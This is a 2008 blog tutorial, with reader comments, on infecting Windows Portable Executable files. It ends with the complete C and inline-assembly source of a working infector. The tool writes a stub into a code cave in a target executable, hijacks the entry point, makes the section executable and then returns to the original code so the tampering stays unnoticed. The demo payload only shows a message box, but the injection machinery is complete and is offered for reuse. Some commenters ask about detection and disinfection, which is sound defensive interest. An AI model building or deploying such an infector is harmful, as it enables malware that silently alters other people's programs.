Portable Executable file infection is a subject I always found to be sketchy. There was always a piece of the puzzle missing in my case… In this article I hope to clarify the matter and hopefully provide a good starting point for those wanting to learn how such tools work.
I want to mention that I’m writing this article with an intention of educating others. You may start out with PE infection, but eventually I hope that you’ll move onto authoring PE protection tools and exploiting your newly found knowledge in a positive and ethical manner. A lot can be learned during the development and implementation process of such tools.
I’ll mainly be using C and inline Assembler in this article and I’ll assume you’ve at least a working knowledge of both C and Assembler.
Firstly, what is a PE file? You can find out by skimming through this page:
Secondly, what is PE infection?
In my opinion PE infection is simply a method of inserting arbitrary (malicious) code into a compiled portable executable whilst maintaining the executable’s normal functionality(it still appears to execute as if it had not been tampered with).
Of course to infect a PE file we’ll need to know about the PE file format, various documents exist on this subject, I recommend you take a look at the following before you continue reading this article.
- www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx
- msdn.microsoft.com/en-us/magazine/cc301805.aspx
- msdn.microsoft.com/en-us/magazine/cc301808.aspx
A typical PE file’s layout looks like this:
[MZ Header]
[MZ Signature]
[PE Headers]
[PE Signature]
[IMAGE_FILE_HEADER][IMAGE_OPTIONAL_HEADER]
[Section Table]
[Section 1][Section 2][Section n]
I’ve neglected the DOS header above but it shouldn’t matter too much, my goal is not to teach you the inner workings of the PE file format.
Inside the IMAGE_OPTIONAL_HEADER we’ve pointers to various data directories, these directories usually point to Import and Relocation table’s amongst other things that are contained in certain sections of the PE, we must preserve or rebuild these directories ourself should we want to destroy them… Such a case is if you encrypt a section that contains the contents of one the directories.
The basic idea behind PE infection is to first insert our code into slack space, modify the original entrypoint address to point to our code, execute it, then jump back to the host’s original entrypoint so the PE file executes as if our code didn’t exist.
Pseudo code would be similar to this:
- Open target file
- Verify MZ and PE signatures exist
- Search for a specified length of NULL bytes starting from the beginning of the last section on disk
- Write our stub into the newly located slack space
- Modify our current entrypoint to point to the start of our newly inserted code
- Close target file
Now I’d like to point out that Stub construction can usually be the harder part of PE infection, as you’ll find out shortly.
For now let’s begin with an implementation of our above Pseudo code…
We need to open the file and map it(this makes for easier modifications), I’m not going to explain what each API does as MSDN can do that for you.
The following snippet does this for us:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | HANDLE hFile, hFileMap; LPBYTE hMap; DWORD fsize; hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE){ printf("[-] Cannot open %s\n", argv[1]); return 0; } fsize = GetFileSize(hFile, 0); if(!fsize){ printf("[-] Invalid file size\n"); CloseHandle(hFile); return 0; } hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL); if(!hFileMap){ printf("[-] CreateFileMapping failed\n"); CloseHandle(hFile); return 0; } hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize); if(!hMap){ printf("[-] MapViewOfFile failed\n"); CloseHandle(hFileMap); CloseHandle(hFile); return 0; } |
Now we’ve a valid handle to our file we can begin by checking our MZ and PE signatures exist, Windows has pre built structures that make our job easier, they are as follows:
1 2 3 | PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pSection, pSectionHeader; |
We can fill these in and check our signatures like so:
1 2 3 4 5 6 7 8 9 10 11 | pDosHeader = (PIMAGE_DOS_HEADER)hMap; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){ printf("[-] DOS signature not found\n"); goto cleanup; } pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew); if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ printf("[-] NT signature not found\n"); goto cleanup; } |
Ok so what’s left? Ah yes, we need to find some free space to write our stub code into, to do this we’ll need to walk the section table and locate the last section, then search for a few NULL bytes starting from the offset of the last section… Luckilly this is easier than it sounds. If we fail to find a sufficent amount of NULL bytes then we’ll need to expand the last section’s size so our code will fit in, I’ll go over this shortly.
The following code does this for us:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)); pSection = pSectionHeader; pSection += (pNtHeaders->FileHeader.NumberOfSections - 1); DWORD writeOffset; unsigned int i = pSection->PointerToRawData; int charcounter = 0; for(; i != fsize; i++){ if((char *)hMap[i] == 0x00){ if(charcounter++ == stubLength){ printf("[+] Code cave located @ 0x%08lX\n", i); writeOffset = i; } }else charcounter = 0; } if(charcounter == 0 || writeOffset == 0){ printf("[-] Could not locate a big enough code cave\n"); goto cleanup; } writeOffset -= stubLength; |
Once we’ve found some free space and got an offset on disk to it, we can write our stub there.
What Stub I hear you ask? …And this is where I start the chapter about Stub Construction.
Firstly, what is an (infection) Stub? To me a Stub is basically a small chunk of code that executes before the hosts code, basically our infection code.
Our stub will be written in inline Assembler, you can use nasm if you like, but for simplicity I’m going to do it this way.
You should ask yourself what you need your stub to do before you go about coding it, in my case I simply want to display a message box to the user, whilst this defeats the point of stealth I’m only trying to demonstrate a concept, so this will suffice for now.
In order to call API’s we’ll need to either:
- Use fixed address’s
- Walk kernel32’s export and resolve GetProcAddress() and GetModuleHandleA()
For simplicity, I’ve opted for option 1, I’ll leave an implementation of option 2 open as an exercise for a few days.
I’d like to point out that I’m using MS’s compiler and MSV6 at the moment, should you have compilation errors(I’d imagine you will with GCC).
Currently our stub looks like this(see below), I’ve commented the code to save a few words. This code doesn’t really do anything as of yet, it’s just the needed code.
1 2 3 4 5 6 7 8 9 10 11 12 13 | __declspec(naked) void StubStart() { __asm{ pushad // preserve our thread context call GetBasePointer GetBasePointer: pop ebp sub ebp, offset GetBasePointer // delta offset trick. Think relative... popad // restore our thread context push 0xCCCCCCCC // push address of orignal entrypoint(place holder) retn // retn used as jmp } } |
Now we can expand this code to call MessageBoxA() with our desired text. I’ll be using fixed address’s that may change on different OS’s so keep that in mind should you want your code to be portable… I’m using Windows XP SP2 at the moment.
Our Stub now looks like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #define bb(x) __asm _emit x __declspec(naked) void StubStart() { __asm{ pushad // preserve our thread context call GetBasePointer GetBasePointer: pop ebp sub ebp, offset GetBasePointer // delta offset trick. Think relative... push MB_OK lea eax, [ebp+szTitle] push eax lea eax, [ebp+szText] push eax push 0 mov eax, 0xCCCCCCCC // place holder for address of MessageBox call eax popad // restore our thread context push 0xCCCCCCCC // push address of orignal entrypoint(place holder) retn // retn used as jmp szText: bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d') bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0) szTitle: bb('O') bb('h') bb('a') bb('i') bb(0) } } void StubEnd(){} |
Ok so now we’ve got our infection Stub, how do we write it into our PE file? This isn’t terribly difficult, just a simple call to memcpy() will suffice… but first we need to fill in those place holders scattered around our Stub. This will involve:
- Copying our inline assembler code into a buffer
- Locating the start of our place holder in the buffer
- Overwriting that place holder
Simple enough ‘ay… If you’re like me you may be able to understand code better than descriptions, not long to go now.
Now do you know what data we have to fill those place holders with? The first place holder needs to contain the virtual address of MessageBoxA, the second needs to contain the Original Entrypoint’s address in memory.
We can obtain the address of MessageBoxA like so:
1 2 3 4 5 6 7 | hUser32 = LoadLibrary("User32.dll"); if(!hUser32){ printf("[-] Could not load User32.dll"); return 0; } dwAddress = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); |
Remember those PE structures I asked you to read up about earlier? If you did your homework you’ll know the entrypoint on disk is stored in the IMAGE_OPTIONAL_HEADER structure, which can be found in the IMAGE_NT_HEADERS structure.
We need to store our original entrypoint so our stub can return to it later… This can be done like so:
1 2 3 | DWORD oep, oepRva; oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint; oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress); |
I can imagine you’re becoming tired now, I am… But we’re nearly there, there’s no point in my stopping now, only a few more bases to cover, I’ll contiue telling myself that too :p.
We now need to put our inline assembly code into a buffer, but first we need our Stub codes size, notice that "void StubEnd(){}" at the end of our Stub? This label exists so we can calculate our Stubs size without problems.
Allow me to enlighten you:
1 2 3 4 | // work out stub size DWORD start = (DWORD)StubStart; DWORD end = (DWORD)StubEnd; DWORD stubLength = (end - start); |
Once we’ve got the size, we can use memcpy() on our function as if it were a normal buffer. Like so:
1 2 3 4 5 | stub = (unsigned char *)malloc(stubLength + 1); if(!stub) goto cleanup; memcpy(stub, StubStart, stubLength); |
Now to actually locate and fill in our place holders, this part is easier than you may think and in my opinion the code should do a better job explaining it than I will at the moment(as it’s now gone 5am)…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | // locate place holder offsets for(i = 0, charcounter = 0; i != stubLength; i++){ if(stub[i] == 0xCC){ charcounter++; if(charcounter == 4 && callOffset == 0) callOffset = i - 3; else if(charcounter == 4 && oepOffset == 0) oepOffset = i - 3; }else charcounter = 0; } // check we've found them if(oepOffset == 0 || callOffset == 0){ free(stub); goto cleanup; } // fill in place holders *(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase); *(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA")); // we no longer need this FreeLibrary(hUser32); |
We can now write our Stub into the free space we located earlier using memcpy() like so:
1 | memcpy((PBYTE)hMap + writeOffset, stub, stubLength); |
Now we need to repair our PE images section sizes and such, in this case I’m just going to increase the virtual size of the section we’ve modified(you may need to round it up to correct page alignment, I’ve decided to keep it simple in this case so I’m simply going to increase the size). I want to point out that this is usually not the only thing you may need to repair when dealing with some executable’s, things like raw size of sections and size of image may also need to repaired in some cases.
We can increase the section size like so:
1 2 | // set section size pSection->Misc.VirtualSize += stubLength; |
Now we need to update the original entrypoint to point to our new code, we also need to make our new code section executable, this can be done like so:
1 2 3 4 5 | pNtHeaders->OptionalHeader.AddressOfEntryPoint = FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase; // change sections permission flags so we can execute code pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE; |
What happens if our executable has no slack space for our code to fit in? We can overcome this by mapping the file with a file size big enough to contain itself and our Stub, this will write the extra bytes into the file, after which we can use something like "writeOffset = dwNewFileSize + 4;". Here’s some code for those who don’t understand:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize + stubLength + 5, NULL); if(!hFileMap){ printf("[-] CreateFileMapping failed\n"); CloseHandle(hFile); return 0; } hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize + stubLength + 5); if(!hMap){ printf("[-] MapViewOfFile failed\n"); CloseHandle(hFileMap); CloseHandle(hFile); return 0; } writeOffset = fsize; |
Hopefully that helps clear things up a little.
What’s left? That was it! Cleaning up after ourselves.
This is probabbly the simplest part of all:
1 2 3 4 5 6 7 8 9 10 11 | free(stub); cleanup: FlushViewOfFile(hMap, 0); UnmapViewOfFile(hMap); SetFilePointer(hFile, fsize, NULL, FILE_BEGIN); SetEndOfFile(hFile); CloseHandle(hFileMap); CloseHandle(hFile); return 0; |
Finally, I’m not one to leave you hanging, below is the source code of our newly created PE infecter.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 | // PE Infecter by KOrUPt @ KOrUPt.co.uk #include <windows.h> #include <stdio.h> #define bb(x) __asm _emit x __declspec(naked) void StubStart() { __asm{ pushad // preserve our thread context call GetBasePointer GetBasePointer: pop ebp sub ebp, offset GetBasePointer // delta offset trick. Think relative... push MB_OK lea eax, [ebp+szTitle] push eax lea eax, [ebp+szText] push eax push 0 mov eax, 0xCCCCCCCC call eax popad // restore our thread context push 0xCCCCCCCC // push address of orignal entrypoint(place holder) retn // retn used as jmp szText: bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d') bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0) szTitle: bb('O') bb('h') bb('a') bb('i') bb(0) } } void StubEnd(){} // By Napalm DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders) { PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS)); for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){ if(dwFileAddr >= lpSecHdr->PointerToRawData){ if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){ dwFileAddr -= lpSecHdr->PointerToRawData; dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress); return dwFileAddr; } } lpSecHdr++; } return NULL; } int main(int argc, char* argv[]) { PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pSection, pSectionHeader; HANDLE hFile, hFileMap; HMODULE hUser32; LPBYTE hMap; int i = 0, charcounter = 0; DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0; unsigned char *stub; // work out stub size DWORD start = (DWORD)StubStart; DWORD end = (DWORD)StubEnd; DWORD stubLength = (end - start); if(argc != 2){ printf("Usage: %s [file]\n", argv[0]); return 0; } // map file hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE){ printf("[-] Cannot open %s\n", argv[1]); return 0; } fsize = GetFileSize(hFile, 0); if(!fsize){ printf("[-] Could not get files size\n"); CloseHandle(hFile); return 0; } hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL); if(!hFileMap){ printf("[-] CreateFileMapping failed\n"); CloseHandle(hFile); return 0; } hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize); if(!hMap){ printf("[-] MapViewOfFile failed\n"); CloseHandle(hFileMap); CloseHandle(hFile); return 0; } // check signatures pDosHeader = (PIMAGE_DOS_HEADER)hMap; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){ printf("[-] DOS signature not found\n"); goto cleanup; } pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew); if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){ printf("[-] NT signature not found\n"); goto cleanup; } // get last section's header... pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)); pSection = pSectionHeader; pSection += (pNtHeaders->FileHeader.NumberOfSections - 1); // save entrypoint oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint; oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress); // locate free space i = pSection->PointerToRawData; for(; i != fsize; i++){ if((char *)hMap[i] == 0x00){ if(charcounter++ == stubLength + 24){ printf("[+] Code cave located @ 0x%08lX\n", i); writeOffset = i; } }else charcounter = 0; } if(charcounter == 0 || writeOffset == 0){ printf("[-] Could not locate a big enough code cave\n"); goto cleanup; } writeOffset -= stubLength; stub = (unsigned char *)malloc(stubLength + 1); if(!stub){ printf("[-] Error allocating sufficent memory for code\n"); goto cleanup; } // copy stub into a buffer memcpy(stub, StubStart, stubLength); // locate offsets of place holders in code for(i = 0, charcounter = 0; i != stubLength; i++){ if(stub[i] == 0xCC){ charcounter++; if(charcounter == 4 && callOffset == 0) callOffset = i - 3; else if(charcounter == 4 && oepOffset == 0) oepOffset = i - 3; }else charcounter = 0; } // check they're valid if(oepOffset == 0 || callOffset == 0){ free(stub); goto cleanup; } hUser32 = LoadLibrary("User32.dll"); if(!hUser32){ free(stub); printf("[-] Could not load User32.dll"); goto cleanup; } // fill in place holders *(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase); *(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA")); FreeLibrary(hUser32); // write stub memcpy((PBYTE)hMap + writeOffset, stub, stubLength); // set entrypoint pNtHeaders->OptionalHeader.AddressOfEntryPoint = FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase; // set section size pSection->Misc.VirtualSize += stubLength; pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE; // cleanup printf("[+] Stub written!!\n[*] Cleaning up\n"); free(stub); cleanup: FlushViewOfFile(hMap, 0); UnmapViewOfFile(hMap); SetFilePointer(hFile, fsize, NULL, FILE_BEGIN); SetEndOfFile(hFile); CloseHandle(hFileMap); CloseHandle(hFile); return 0; } |
And I think that just about covers this blog post for now… I hope you enjoyed reading it. I look forward to reading your comments and reviews on this topic.
KOrUPt.
Lolz, a comment!
Nice article. Very informative and useful.
Comment by Xander — December 24, 2008 @ 21:40
Looks good their friend.
Also I like the site layout.
Comment by MeTh0Dz — December 24, 2008 @ 21:49
hi there,
the download links are not working by my side,plz check out:)
I need these srcs~
thx
or send the last one to Cnfuzzer@hotmail.com
Light be with you:~
Comment by H!1lBil1y — December 30, 2008 @ 07:41
Apoligies regarding the codeboxes and download links, the plugin that suppiles them appears to be faulty.
You should be able to copy and paste the code from the codeboxes into your preferred IDE.
Hope this helps.
KOrUPt.
P.S In a few days time I’ll be posting a revised and improved version of this code, so check back regularly for updates.
Comment by KOrUPt — December 30, 2008 @ 11:58
What compiler do you use?
Comment by Jarhead — January 4, 2009 @ 08:05
The code wasn’t writing the stub… I don’t know the reason though.
So, what about restoring infected file? Locating the oep and do some modification?
The site and tuts are very helpful. I came across when I was trying to do a removal tool and studying the PE format.
Comment by B- — January 4, 2009 @ 15:10
B, it wouldn’t be too hard to disinfect a file, you’d only need to change the entry point back to the original entry point and cut away the appended data. There are various techniques you can use to detect the jump back to OEP(Automation of the ESP-Trick for instance).
Jarhead: See the “About” page
.
KOrUPt.
Comment by KOrUPt — January 5, 2009 @ 03:55
B, Try compiling in Release mode, not Debug…
Comment by anon — April 23, 2009 @ 20:55
hmm….a very good one..i will read whole when i have spare time
Comment by kaustubh — August 1, 2009 @ 11:10
Hi,
very good post KOrUPt!!
How would you detect this kind of infection.
Comment by Pradeep — October 12, 2009 @ 12:56
if we move the exe file which infected by this program to the other windows OS Version. I don`t think it can run normaly.
sorry,my English is poorrr~
Comment by sunorr — January 13, 2010 @ 14:25